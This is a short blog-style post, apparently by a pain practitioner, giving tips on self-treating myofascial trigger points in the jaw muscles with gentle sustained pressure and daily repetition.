Did you know that trigger points, part of the Myofascial Pain Syndrome, are the most common cause of muscle pain? Using self treatments is an easy and safe way to get pain relief. Here are some key points to remember when self treating your myofascial trigger points:

Jaw muscles are highly sensitive. Not only can they cause jaw pain, but they can also lead to headaches. That’s why they are often overlooked when treating headaches. Apply just enough pressure on the masseter or digastric muscle so that it recreates your pain. Hold that position for 30 seconds to 1 minute and then move on to the next muscle knot. Avoid over treating one trigger point. It’s better to treat several of them in one session rather than spending all your time on the first one you find.

It’s important to be consistent with your self treatments. Do it every day. Sometimes, my patients perform self trigger point treatments up to 6 times a day! You may not need to do that. Be aware that you need to experiment to find the right amount of pressure and right number of times to achieve pain relief.
